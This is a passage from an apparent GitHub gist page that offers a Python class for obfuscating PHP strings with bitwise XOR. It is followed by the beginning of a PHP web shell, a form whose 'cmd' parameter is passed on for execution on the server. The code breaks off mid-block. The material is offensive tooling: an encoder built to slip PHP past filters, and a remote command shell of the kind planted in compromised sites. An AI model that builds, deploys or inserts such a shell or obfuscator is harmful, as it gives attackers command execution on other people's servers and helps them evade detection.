Skip to content

Instantly share code, notes, and snippets.

View mxcezl's full-sized avatar
🛡️
Debugging from home

mxcezl mxcezl

🛡️
Debugging from home
View GitHub Profile
@mxcezl
mxcezl / php_xor_obfuscate.py
Created December 20, 2023 23:44
PHP String obfuscation using bitwise XOR
import sys
class XorConverter:
"""
A converter class to convert strings to their XOR representation.
"""
def __init__(self):
self.forbidden_chars = ["`"]
self.alphabet_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ "
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{